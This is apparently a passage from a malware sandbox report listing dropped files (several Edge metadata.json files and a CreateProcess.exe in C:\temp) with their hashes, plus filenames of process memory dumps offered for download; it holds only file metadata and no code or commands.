SSDEEP 384:nQiF1tNn/s3n9SB8NZ8TUNTUlIRY0zrxyvPOfosGhd2RVnv5jMXJ+jHOObjI9G6I:rF1j+9A0wgZyEGH2fnBjEIH29Mx
TLSH
T100D25C32DC58CE67EDEA8BD9B74A3647DEE412A385885EC8EAD85E0C01D72DD070BC15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 8da1818eb6f75f23881516959cd35164d2c634fdef1fade39ece712dbbfc3aeb
MD5 bd8f93bd22bf851a3b01df2c965c1ccc
SHA1 4f1b7152f5e17b52c90a671e0ea88bb13d56eef0
SHA512 ddb28a785e304ad0540359b3328cdcc27c8f3923d4320531476b1c29b7fc8c08efaaaa7876f61ac417aa7acfc1ed7038de7eb311efdca7ee85e72e0e0a4e8eab
TLSH
T17031F1E15D7D1AD1D0BE0DBFB48B39FC84E8D622F4A474392888ED58462D55E254143F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 1503a0e5d6dd34de1c7ded623f58581b5dbfa49678704f6ed5fb36517828db88
MD5 d0d6c36b145df0632a1a3cc55c1f3989
SHA1 d01dbfc401a59c726797124f987d71518270bedd
SHA512 cea97f32ada3996ce2d07cf92a1631c5c6e2ba527b415b88973401d8f55121dbf2854109f84901b25ffb4366a724c4c5bcdf1acfc709609c780fc4d8a249fe5f
TLSH
T1D94110E15D3D1AD1D0FE0DBFB88B39FC84E8D622F49434392898ED58862D61D258043F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 fd74549cc8dc137a45baeeb1c1a8ef27161bca1a9113bea74c9343901dd36c1c
MD5 51461e0bcd0ec3e1932cce88e70c59dc
SHA1 96215d9e0755c2f9962c07fa8a75f92d77d1375d
SHA512 b6267f388d88fd1b2f38b4e7b835650bd5ce6dc00055157c075a8ad39776023582f166f4de0f2a6b2b8635e6a2238aeb8eef7dbb7cebef0f9f8815791bef829e
TLSH
T1E63110E15D3D1AD1C4BE0DBFF48B39FC84E8D222F4A474396888ED98862E51E254143F
MD5 SHA1 SHA512 TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 74af372778c11bc5df749357f51ec06d11f1664e60fc700133992b042781f565
MD5 e6023950cf21172aecbce73f8656b925
SHA1 ed9e81cbd151ad555fd307731950eedfb6df6a58
SHA512 7c2c21af7adbe40210affbccd4469f086d119078215054e7e6dd972183089a3dd2c32a723d14748ce03060dc8df1dc2a9decd371cfd5a730762f3e79a8e4989f
TLSH
T1D97123835BB9CAF2C1DE5FF402835248F2FB22380B3330340B555546AB34A7A18B8F08
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2024-316-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2024-291-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2072-391-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2408-226-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2560-276-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2584-373-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2660-423-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2848-287-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2996-213-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3208-185-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3712-395-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3908-61-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4224-338-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4264-283-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4264-353-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4564-308-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5176-158-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5236-349-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5772-320-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5940-427-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/6048-277-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/6048-240-0x0000000000010000-0x00000000000AB000-memory.dmp

Download